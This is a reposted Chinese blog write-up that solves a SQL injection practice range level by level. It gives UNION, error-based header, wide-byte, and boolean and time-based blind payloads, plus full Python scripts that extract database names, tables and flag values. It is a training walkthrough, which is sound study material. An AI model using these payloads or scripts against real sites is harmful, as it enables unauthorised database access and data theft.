掌控安全学院SOL注入靶场

news/2024/4/29 5:13:22/文章来源:https://blog.csdn.net/qaq517384/article/details/127865776

掌控安全学院SOL注入靶场

  • 靶场地址
  • Pass-01 显错注入
  • Pass-02
  • Pass-03
  • Pass-04
  • Pass-05 POST注入
  • Pass-06
  • Pass-07 Head注入
  • Pass-08
  • Pass-09
  • Pass-10 布尔盲注
  • Pass-11
  • Pass-12
  • Pass-13 延时注入
  • Pass-14
  • Pass-15 宽字节注入
  • Pass-16
  • Pass-17
  • 总结

靶场地址

http://inject2.lab.aqlab.cn

Pass-01 显错注入

判断注入类型发现是数字型注入

1 or 1=1 #
1' or '1'='1 #
1" or "1"="1 #

利用order by得到数据库有三列
?id=0 union select 1,2,3#得到回显位23
在这里插入图片描述

查库名
可以通过information_schema库或者直接select database()

?id=0 union select 1,(select group_concat(schema_name) from information_schema.schemata),(select database())#

在这里插入图片描述查表名

?id=0 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='error'),3#

在这里插入图片描述

查列名

?id=0 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='error'),(select group_concat(column_name) from information_schema.columns where table_name='error_flag')#

在这里插入图片描述可以看到有flag列,直接输出

?id=0 union select 1,(select group_concat(flag) from error.error_flag),3#

在这里插入图片描述

Pass-02

测试得题目为单引号字符型注入
这里#注释会报错,转用--+

?id=0' union select 1,2,3 --+

在这里插入图片描述

爆库

?id=0' union select 1,(select database()),3--+

在这里插入图片描述
后面和Pass-01一样
直接得到flag

?id=0' union select 1,(select group_concat(flag) from error.error_flag),3--+

在这里插入图片描述

Pass-03

查看语句得知需要')闭合前面的('

?id=0') union select 1,2,3--+

在这里插入图片描述
剩下同理,没有过滤

Pass-04

双引号即可

?id=0") union select 1,2,3--+

在这里插入图片描述

Pass-05 POST注入

GET换POST

username=1' union select 1,2,3#&password=1&submi=%E7%99%BB%E5%BD%95

在这里插入图片描述套用payload即可

username=1' union select 1,(select group_concat(flag) from error.error_flag),3#&password=1&submi=%E7%99%BB%E5%BD%95

在这里插入图片描述

Pass-06

同Pass-04

username=0") union select 1,2,3#&password=1&submi=%E7%99%BB%E5%BD%95

在这里插入图片描述

Pass-07 Head注入

提示Head注入,照常先测试一下payload
在这里插入图片描述
好!弱口令(好像串台了)
在这里插入图片描述

既然提示了就先简单测一下hackbar能改的head信息
改UA头的时候发现报错了
在这里插入图片描述保持账号密码不变,只更改UA头1' or updatexml(1,concat('?',database()),1),1) #
成功将库名爆出
在这里插入图片描述将database()换成查询语句爆库名
' or updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='head_error'),'~'),1),1) #
在这里插入图片描述
列名
' or updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_name='flag_head'),'~'),1),1) #
在这里插入图片描述
得到flag
' or updatexml(1,concat('~',(select group_concat(flag_h1) from head_error.flag_head),'~'),1),1) #
在这里插入图片描述

Pass-08

账号密码还是admin/123456
测试发现是Refer头注入,过程和Pass-07一样
' or updatexml(1,concat('~',(select group_concat(flag_h1) from head_error.flag_head),'~'),1),1) #
在这里插入图片描述

Pass-09

这个Hackbar测不出来了,上Bp!
测了一圈没反应,加上最熟悉的XFF头,flag就出来了
注入过程还是参考Pass-07
X-Forwarded-For:' or updatexml(1,concat('~',(select group_concat(flag_h1) from head_error.flag_head),'~'),1),1) #

在这里插入图片描述

Pass-10 布尔盲注

没啥过滤的盲注
直接手搓脚本
二分法+异或(不异或也没啥问题)

import requests
url = "http://inject2.lab.aqlab.cn/Pass-10/index.php?id="
flag=''
for i in range(1,100):low = 32high = 126mid = (low+high)//2while(low<high):#payload=url+"0^(ascii(substr((select database()),{},1))>{})".format(i,mid)	#爆库名#payload = url+"0^(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{})".format(i,mid)	#爆表名#payload = url+"0^(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='loflag' ),{},1))>{})".format(i,mid)	#爆列名payload = url+"0^(ascii(substr((select group_concat(flaglo) from kanwolongxia.loflag),{},1))>{})".format(i,mid)	#爆flagres = requests.get(payload)if 'No results found' not in res.text:low = mid + 1else:high = midmid = (low+high)//2if (mid==32|mid==126):breakflag +=chr(mid)print(flag)
print(flag)

库名
在这里插入图片描述
表名
在这里插入图片描述
列名
在这里插入图片描述
获得数据
在这里插入图片描述
在这里插入图片描述
好像有点小禁爬,拼起来就是最终flag了

哈哈,flag跑完了,ip好像被封了(

Pass-11

多一个双引号,小问题

import requests
url = "http://inject2.lab.aqlab.cn/Pass-11/index.php?id=1\" and 1="
flag=''
for i in range(1,100):low = 32high = 126mid = (low+high)//2while(low<high):#payload=url+"0^(ascii(substr((select database()),{},1))>{})--+".format(i,mid)#payload = url+"0^(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{})--+".format(i,mid)   #爆表名#payload = url+"0^(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='loflag' ),{},1))>{})--+".format(i,mid) #爆列名payload = url+"0^(ascii(substr((select group_concat(flaglo) from kanwolongxia.loflag),{},1))>{})--+".format(i,mid)res = requests.get(payload)#print(payload)if 'No results found' not in res.text:low = mid + 1else:high = midmid = (low+high)//2if (mid==32|mid==126):breakflag +=chr(mid)print(flag)
print(flag)

点到为止
在这里插入图片描述

Pass-12

万能密码登录成功,可以作为盲注的判断依据
在这里插入图片描述
稍微调试一下语句,再把请求方式改为POST

import requests
url = "http://inject2.lab.aqlab.cn/Pass-12/index.php"
flag=''
data={'username':'1','password':'1','submit':'%E7%99%BB%E5%BD%95'}
for i in range(1,100):low = 32high = 126mid = (low+high)//2while(low<high):#payload="1\' or 1=0^(ascii(substr((select database()),{},1))>{})#".format(i,mid)#payload="1\' or 1=0^(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{})#".format(i,mid)   #爆表名#payload="1\' or 1=0^(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='loflag' ),{},1))>{})#".format(i,mid) #爆列名payload="1\' or 1=0^(ascii(substr((select group_concat(flaglo) from kanwolongxia.loflag),{},1))>{})#".format(i,mid)data['username']=payloadres = requests.post(url,data=data)#print(data)if '账号密码错误' not in res.text:low = mid + 1else:high = midmid = (low+high)//2if (mid==32|mid==126):breakflag +=chr(mid)print(flag)
print(flag)

还是同一个库,润!
在这里插入图片描述

Pass-13 延时注入

延时注入,先测试注入点
?id=1" and sleep(5)--+
在这里插入图片描述小爆一下库
?id=1" and if((ascii(substr((database()),1,1))>0),sleep(3),sleep(0))--+
在这里插入图片描述然后拿出上面的盲注脚本
在这里插入图片描述
在这里插入图片描述
和布尔盲注一个库
在这里插入图片描述
放个脚本

import requests
url = "http://inject2.lab.aqlab.cn/Pass-13/index.php?id=1\" and "
flag=''
for i in range(1,100):low = 32high = 126mid = (low+high)//2while(low<high):#payload=url+"if((ascii(substr((database()),{},1))>{}),sleep(1),sleep(0))--+".format(i,mid)	#爆库名#payload = url+"if((ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{}),sleep(1),sleep(0))--+".format(i,mid)	#爆表名#payload = url+"if((ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='loflag' ),{},1))>{}),sleep(1),sleep(0))--+".format(i,mid)	#爆列名payload = url+"if((ascii(substr((select group_concat(flaglo) from kanwolongxia.loflag),{},1))>{}),sleep(1),sleep(0))--+".format(i,mid)	#爆flag#print(payload)res = requests.get(payload).elapsed.total_seconds()if res>1:low = mid + 1else:high = midmid = (low+high)//2if (mid==32|mid==126):breakflag +=chr(mid)print(flag)
print(flag)

Pass-14

同上
更改url即可

url = "http://inject2.lab.aqlab.cn/Pass-14/index.php?id=1') and "

Pass-15 宽字节注入

宽字节注入,来个经典%df
?id=1%df' or 1=1--+
在这里插入图片描述

看看库?id=1%df' union select 1,database(),3--+
在这里插入图片描述

表名
?id=1%df' union select 1,database(),(select group_concat(table_name) from information_schema.tables where table_schema=database())--+
在这里插入图片描述因为单引号被转义了,所以查表的时候库名不能用'china_flag',可以用十六进制代替
?id=1%df' union select 1,database(),(select group_concat(column_name) from information_schema.columns where table_name=0x6368696e615f666c6167)--+
在这里插入图片描述获取数据
?id=1%df' union select 1,database(),(select group_concat(C_Flag) from widechar.china_flag)--+
在这里插入图片描述

Pass-16

id=(“1”)得到闭合方式为%df")
?id=1%df") union select 1,database(),(select group_concat(C_Flag) from widechar.china_flag)--+
在这里插入图片描述

Pass-17

POST型宽字节注入
hackbar发包已经满足不了%df了,发送后会变成ß
需要通过奇数个汉字学')或者Burpsuite直接发包%df')
在这里插入图片描述

bp虽然乱码但是颜色对了)
在这里插入图片描述

python测试的%df')无效,就用汉字测了

import requests
url = "http://inject2.lab.aqlab.cn/Pass-17/index.php"
flag=''
data={'username':'admin%df\'\) or 1=1#','password':'1','submit':'%E7%99%BB%E5%BD%95'}
for i in range(1,100):low = 32high = 126mid = (low+high)//2while(low<high):#payload="a%df\') or 1=0^(ascii(substr((select database()),{},1))>{})#".format(i,mid)#payload="学\') or 1=0^(ascii(substr((select database()),{},1))>{})#".format(i,mid)#payload="学\') or 1=0^(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{})#".format(i,mid)   #爆表名#payload="学\') or 1=0^(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='china_flag' ),{},1))>{})#".format(i,mid) #爆列名payload="学\') or 1=0^(ascii(substr((select group_concat(C_Flag) from widechar.china_flag),{},1))>{})#".format(i,mid)data['username']=payloadres = requests.post(url,data=data)#print(data)#print(res.text)if '账号密码错误' not in res.text:low = mid + 1else:high = midmid = (low+high)//2if (mid==32|mid==126):breakflag +=chr(mid)print(flag)
print(flag)

在这里插入图片描述

总结

完结撒花哩
总体没啥难度,也没有啥过滤,拿来复健感觉还不错,最后一个宽字节注入又花了点时间研究了一下
好!
就这样

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.luyixian.cn/news_show_224176.aspx

如若内容造成侵权/违法违规/事实不符,请联系dt猫网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Java实现图书管理系统

作者&#xff1a;~小明学编程 文章专栏&#xff1a;JavaSE基础 格言&#xff1a;目之所及皆为回忆&#xff0c;心之所想皆为过往 今天给大家带来的是用Java实现的图书管理系统。 目录 需求 图书类 创建图书类 创建书架 Operation IOperation接口 添加图书AddOperation…

【考研复试】计算机专业考研复试英语常见问题三(个人选择/学业规划篇)

相关链接&#xff1a; 【考研复试】计算机专业考研复试英语常见问题一&#xff08;家庭/家乡/学校篇&#xff09;【考研复试】计算机专业考研复试英语常见问题二&#xff08;研究方向/前沿技术/本科毕设篇&#xff09;【考研复试】计算机专业考研复试英语常见问题三&#xff0…

kubernetes集群基于kubeadm部署以及常见问题解决

文章目录集群类型主机规划环境初始化检查操作系统版本关闭防火墙设置主机名主机名解析时间同步关闭 SELinux关闭 swap 分区将桥接的IPv4流量传递到iptables的链开启ipvs安装容器运行时&#xff08;Docker&#xff09;卸载Docker旧版本&#xff1a;安装 gcc 相关安装Docker设置阿…

一个Adapter+recycleview实现多种布局,区分布局中

文章目录&#x1f353;&#x1f353;简述&#x1f353;&#x1f353;效果图&#x1f353;&#x1f353;代码&#x1f96d;&#x1f96d;AllAdapter.java&#x1f96d;&#x1f96d; FuritAdapter3.java&#x1f96d;&#x1f96d;MainActivity.java(主函数)&#x1f96d;&#…

【全网热点】打造全网最全爱心代码仓库【火速领取爱心】

&#x1f468;‍&#x1f4bb;个人主页&#xff1a;花无缺 欢迎 点赞&#x1f44d; 收藏⭐ 留言&#x1f4dd; 加关注✅! 本文由 花无缺 原创 本文章收录于专栏 【代码实践】 目录&#x1f319;正文&#x1f30f;部分效果在线演示&#x1f30f;部分效果截屏&#x1f338;文末祝…

个人设计web前端大作业 基于html5制作美食菜谱网页设计作业代码

&#x1f380; 精彩专栏推荐&#x1f447;&#x1f3fb;&#x1f447;&#x1f3fb;&#x1f447;&#x1f3fb; ✍️ 作者简介: 一个热爱把逻辑思维转变为代码的技术博主 &#x1f482; 作者主页: 【主页——&#x1f680;获取更多优质源码】 &#x1f393; web前端期末大作业…

Linux的前世今生

14天学习训练营导师课程&#xff1a; 互联网老辛《 符合学习规律的超详细linux实战快速入门》 努力是为了不平庸~ 学习有些时候是枯燥的&#xff0c;但收获的快乐是加倍的&#xff0c;欢迎记录下你的那些努力时刻&#xff08;学习知识点/题解/项目实操/遇到的bug/等等&#xf…

2022年深度学习最新研究成果

一、开源深度学习编译器 二、 开源深度学习加速器 三、AITemplate引擎 四、微型机器学习框架 参考文献&#xff1a;https://arxiv.org/pdf/1510.00149.pdf 五、Contrastive Learning 对比学习综述 六、Diffusion Model 扩散模型综述 Diffusion Models: A Comprehensive Surv…

Java面向对象中阶(七)

面向对象中阶 1、包 2、访问修饰符 3、封装 4、继承 5、方法重写(override) 6、多态 7、Object类的常用方法 8、断点调试 1、包 包的本质&#xff1a; 实际上就是创建不同的文件夹来保存类文件 包的三大作用&#xff1a; 区分相同名字的类当类很多时&#xff0c;可以…

【freeRTOS】操作系统之六-低功耗模式

六&#xff0c;低功耗模式 本章节为大家讲解 FreeRTOS 本身支持的低功耗模式 tickless 实现方法&#xff0c;tickless 低功耗机制是当前小型 RTOS 所采用的通用低功耗方法&#xff0c;比如 embOS&#xff0c;RTX 和 uCOS-III&#xff08;类似方法&#xff09;都有这种机制。ti…

原来背后都是商业利益,看到网易和暴雪的解约之后,原来是要定以后的KPI,坐地起价,但是一个时代已经结束了,都留在了记忆之中

1&#xff0c;大瓜新闻&#xff0c;2023年1月暴雪游戏中国将不会续约&#xff1f;&#xff1f; 2&#xff0c;原因是主要坐地起价&#xff0c;提高分成设置KPI 还好网易有自研游戏&#xff0c;估计早知道会有现在这样的情况。 提前做好了准备。还记得有个公司叫 九城吗&#x…

创建自己的函数库

创建自己的函数库前言一、什么是STM32标准函数库1.定义&#xff1a;2.作用&#xff1a;3.对比&#xff1a;二、构建库函数1.修改寄存器地址封装2.定义访问的结构体指针和引脚3.创建封装函数3.1创建拉低引脚函数3.2创建引脚初始化函数总结前言 回顾一下&#xff0c;前面点亮led…

堆 (带图详解)

文章目录1.堆的基本概念1. 概念2.性质1.必须为完全二叉树2.满足大堆/小堆成立的条件3.存储方式1.逻辑结构2.物理结构4. 孩子与父亲之间下标的关系2.堆的基本实现1.push——插入1.代码2. 情况分析情况1情况23. 向上调整算法1.过程分析2. 临界条件的判断2. pop—— 删除1.代码2. …

redis哨兵系列1

需要配合源码一起康~ 9.1 哨兵基本概念 官网手册yyds&#xff1a;https://redis.io/docs/manual/sentinel/ redis主从模式&#xff0c;如果主挂了&#xff0c;需要人工将从节点提升为主节点&#xff0c;通知应用修改主节点的地址。不是很友好&#xff0c;so Redis 2.8之后开…

C# async / await 用法

目录 一、简介 二、异步等待返回结果 三、异步方法返回类型 四、await foreach 五、Task.Delay 结束 一、简介 await 运算符暂停对其所属的 async 方法的求值&#xff0c;直到其操作数表示的异步操作完成。 异步操作完成后&#xff0c;await 运算符将返回操作的结果&…

使用STM32CubeMX实现按下按键,电平反转

需提前学习&#xff1a;使用STM32CubeMX实现LED闪烁 目录 原理图分析 按键部分原理图分析 LED部分原理图分析 STM32CubeMX配置 关于STM32CubeMXSYS的Debug忘记配置Serial Wire处理办法 GPIO配置 LED的GPIO配置 KEY1配置 关于PA0后面这个WKUP是什么&#xff1f; 那么啥…

利用ogg微服务版将oracle同步到kafka

ogg微服务版可以再界面上配置抽取、复制进程&#xff0c;不必进入到shell中进行配置&#xff0c;并且图形化界面可以看到更多信息。 系统架构 源端安装ogg for oracle 19C , 目标端安装ogg for bigdata 21C kafka 2.2 数据库&#xff1a;19C 所有软件安装在同台服务器上&#…

理解Linux32位机器下虚拟地址到物理地址的转化

文章目录前言一、基本概念介绍二、虚拟地址到物理地址的转化过程总结前言 简要介绍LINUX32位系统下虚拟地址到物理地址的转化过程。 一、基本概念介绍 在32位机器下&#xff0c;IO的基本单位是块&#xff08;块&#xff1a;4kb),在程序编译成可执行程序时也划分好了以4kb为单…

JVM【类加载与GC垃圾回收机制】

JVM【类加载与GC垃圾回收机制】&#x1f34e;一.JVM&#x1f352;1.1JVM简介&#x1f352;1.2JVM执行流程&#x1f34e;二.JVM运行时数据区&#x1f352;2.1 程序计数器(线程私有)&#x1f352;2.2 栈(线程私有)&#x1f352;2.3 堆(线程共享)&#x1f352;2.4 方法区(线程共享…

OWASP API SECURITY TOP 10

目录 1. API 安全风险 2. 细说TOP10 1. Broken Object Level Authorization 2. Broken User Authentication 3 Excessive Data Exposure 4 Lack of Resources & Rate Limiting 5 Broken Function Level Authorization 6 Mass Assignment 7 security misconfigura…